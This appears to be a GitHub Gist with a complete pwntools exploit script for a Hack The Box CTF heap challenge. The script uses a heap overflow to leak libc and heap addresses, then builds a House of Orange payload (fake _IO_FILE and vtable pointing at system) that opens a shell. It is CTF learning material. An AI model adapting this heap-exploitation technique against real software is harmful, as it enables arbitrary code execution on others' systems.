-
-
Save mspraggs/18cd54cca08b710af225b70949aa161f to your computer and use it in GitHub Desktop.
HTB Stack Smash CTF Refreshments Exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| Exploit for Refreshments, a challenge in the Hack The Box Stack Smash CTF 2025. | |
| Full write-up here: https://mattspraggs.co.uk/stacksmash-ctf-refreshments.html | |
| """ | |
| import argparse | |
| import os | |
| from pwn import ELF, context, flat, log, p64, process, remote, tube, u64 | |
| class Program: | |
| ''' | |
| Program encapsulates the Refreshments program logic. | |
| ''' | |
| def __init__(self, io: tube) -> None: | |
| self._io = io | |
| self._glass_count = 0 | |
| def fill_glass(self): | |
| ''' | |
| Fills a new glass, allocating a chunk on the heap in the process. | |
| ''' | |
| if self._glass_count > 0x0f: | |
| raise ValueError("Too many glasses!") | |
| self._io.sendlineafter(b'>> ', b'1') | |
| self._glass_count += 1 | |
| log.debug(f"Filled {self._glass_count} glasses") | |
| def empty_glass(self, glass: int): | |
| ''' | |
| Empties a glass, calling free on the associated chunk in the process. | |
| Args: | |
| glass: The glass to be emptied, zero-indexed. | |
| ''' | |
| self._io.sendlineafter(b'>> ', b'2') | |
| self._io.sendlineafter(b': ', str(glass).encode()) | |
| log.debug(f"Emptied glass {glass}") | |
| def edit_glass(self, glass: int, content: bytes): | |
| ''' | |
| Edits the specified chunk, setting its content to the provided bytes. | |
| Args: | |
| glass: The glass to be edited, zero-indexed. | |
| content: The bytes to write to the glass's chunk. | |
| ''' | |
| self._io.sendlineafter(b'>> ', b'3') | |
| self._io.sendlineafter(b': ', str(glass).encode()) | |
| self._io.sendafter(b': ', content) | |
| log.debug(f"Edited glass {glass}") | |
| def view_glass(self, glass: int) -> bytes: | |
| ''' | |
| View the specified glass, returning the bytes within the glass's chunk. | |
| Args: | |
| glass: The glass to be viewed, zero-indexed. | |
| Returns: | |
| bytes: The data associated with the glass. | |
| ''' | |
| self._io.sendlineafter(b'>> ', b'4') | |
| self._io.sendlineafter(b': ', str(glass).encode()) | |
| self._io.recvuntil(b': ') | |
| return self._io.recvline()[:-1] | |
| def sendline(self, data: bytes): | |
| ''' | |
| Writes the provided data to the program's stdin. | |
| Args: | |
| data: The bytes to write to stdin. | |
| ''' | |
| self._io.sendline(data) | |
| def recvflag(self) -> str: | |
| ''' | |
| Attempts to receive a line containing the canonical "HTB" flag bytes. | |
| Returns: | |
| bytes: The line containing the "HTB" bytes. | |
| ''' | |
| return self._io.recvline_contains(b"HTB").strip().decode() | |
| def exploit(prog: Program, elf: ELF, libc: ELF) -> str: | |
| ''' | |
| Runs exploit against the provided ELF binary and, optionally, the specified | |
| remote server URL. | |
| Args: | |
| prog: The program to be exploited. | |
| elf: The binary file to be exploited. | |
| libc: The associated glibc binary. | |
| max_tries: Maximum number of exploitation attempts before giving up. | |
| url (optional): The URL of the remote server to run the exploit against. | |
| Returns: | |
| str: The flag. | |
| ''' | |
| # Fill five glasses. | |
| for _ in range(5): | |
| prog.fill_glass() | |
| # Overflow chunk zero, changing the size of chunk one to 0xc0 bytes, as | |
| # malloc sees it. | |
| prog.edit_glass(0, b'A' * 0x58 + b'\xc1') | |
| # Free glass one and fill another, which because of remaindering will be | |
| # placed in the same location as glass one, the one we've just freed. | |
| prog.empty_glass(1) | |
| prog.fill_glass() # 5 -> 1 | |
| # View the contents of glass two, which, due to remaindering, will | |
| # contain leaked glibc arena pointers. This gives us glibc base. | |
| bs = prog.view_glass(2) | |
| # Repeat the process, overwriting the AMP bits of the chunk after glass | |
| # two so that glibc thinks glass two is in use. | |
| prog.edit_glass(0, b'A' * 0x58 + b'\xc1') | |
| prog.edit_glass(2, bs + b'\x61') | |
| prog.empty_glass(5) | |
| bs = prog.view_glass(2) | |
| # Leaked pointers are for main_arena+88 heap+0x60. | |
| main_arena_88 = u64(bs[:8]) | |
| heap = u64(bs[8:16]) - 0x60 | |
| libc.address = main_arena_88 - libc.sym['main_arena'] - 88 | |
| log.info(f"libc base @ 0x{libc.address:x}") | |
| log.info(f"heap @ 0x{heap:x}") | |
| # Fill glasses to flush heap bins and any gaps in the heap. If we | |
| # consider the position of each freshly-allocated chunk on the heap with | |
| # respect to the position of the pointer that references it on the | |
| # stack, after these four allocations we should have the following | |
| # mapping (glass numbers are zero-indexed): | |
| # | |
| # - Glass 6 maps to heap position 2. | |
| # - Glass 7 maps to heap position 1. | |
| # - Glass 8 maps to heap position 2 (glasses 6 and 8 are the same chunk). | |
| # - Glass 9 maps to heap position 5. | |
| for _ in range(4): | |
| prog.fill_glass() | |
| # Corrupt size metadata again. This time our objective is to land a | |
| # chunk in the unsorted bin. We allocate again so that glibc remainders | |
| # the chunk, shifting pointers the chunk's pointer metadata into a | |
| # region of the heap we can write to. | |
| prog.edit_glass(0, b'A' * 0x58 + b'\xc1') | |
| prog.empty_glass(7) | |
| prog.fill_glass() | |
| # Finally, we build the House of Orange payloads. | |
| # | |
| # First, we write a fake _IO_jump_t structure to the first chunk on the | |
| # heap. | |
| prog.edit_glass(0, flat({0x18: p64(libc.sym.system)})) | |
| # Next, we write the leading quad-words of a fake _IO_FILE structure. | |
| prog.edit_glass(10, flat({0x50: b'/bin/sh\x00\x69'})) | |
| # Next, we write the offset location of _IO_list_all over the bk pointer | |
| # of the chunk produced by the remaindering process above. | |
| prog.edit_glass( | |
| 2, | |
| p64(0x00) + | |
| p64(libc.sym._IO_list_all - 0x10) + | |
| p64(0x00) + | |
| p64(0x01), | |
| ) | |
| # Finally, we overwrite the file's vtable pointer to point to the | |
| # location of the first chunk. | |
| prog.edit_glass(4, p64(0x00) + p64(heap + 0x10)) | |
| log.debug("Triggering exploit") | |
| prog.fill_glass() | |
| prog.sendline(b'cat flag.txt') | |
| return prog.recvflag() | |
| def parse_server(s: str) -> tuple: | |
| ''' | |
| Parse server argument into hostname and port. | |
| Args: | |
| s: The argument to be parsed. | |
| Returns: | |
| tuple: Tuple containing the string-valued hostname and the integer-valued | |
| port. | |
| ''' | |
| host, port_str = s.split(':') | |
| return host, int(port_str) | |
| if __name__ == '__main__': | |
| parser = argparse.ArgumentParser(description='Refreshments exploit') | |
| parser.add_argument( | |
| '-e', '--elf-path', type=str, required=True, | |
| help='Path to the refreshments binary', | |
| ) | |
| parser.add_argument( | |
| '-l', '--libc-path', type=str, | |
| default=f'{os.path.dirname(__file__)}/glibc/libc.so.6', | |
| help='Path to the refreshments binary', | |
| ) | |
| parser.add_argument( | |
| '-s', '--server', type=parse_server, | |
| help='URL of the server to run the exploit against.', | |
| ) | |
| parser.add_argument( | |
| '-c', '--max-tries', type=int, default=10, | |
| help='Number of exploitation attempts before giving up.', | |
| ) | |
| parser.add_argument( | |
| '-L', '--log-level', type=str, default='info', | |
| help='Log level.', | |
| ) | |
| args = parser.parse_args() | |
| log.setLevel(args.log_level) | |
| print(args.server) | |
| for i in range(args.max_tries): | |
| log.info(f"Attempt {i+1} of {args.max_tries}") | |
| elf = context.binary = ELF(args.elf_path) | |
| libc = elf.libc | |
| if args.libc_path: | |
| libc = ELF(args.libc_path) | |
| if args.server: | |
| proc = remote(*args.server) | |
| else: | |
| proc = process(elf.path) | |
| prog = Program(proc) | |
| try: | |
| flag = exploit(prog, elf, libc) | |
| log.success(f'Flag: {flag}') | |
| except EOFError: | |
| continue | |
| finally: | |
| proc.close() | |
| break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment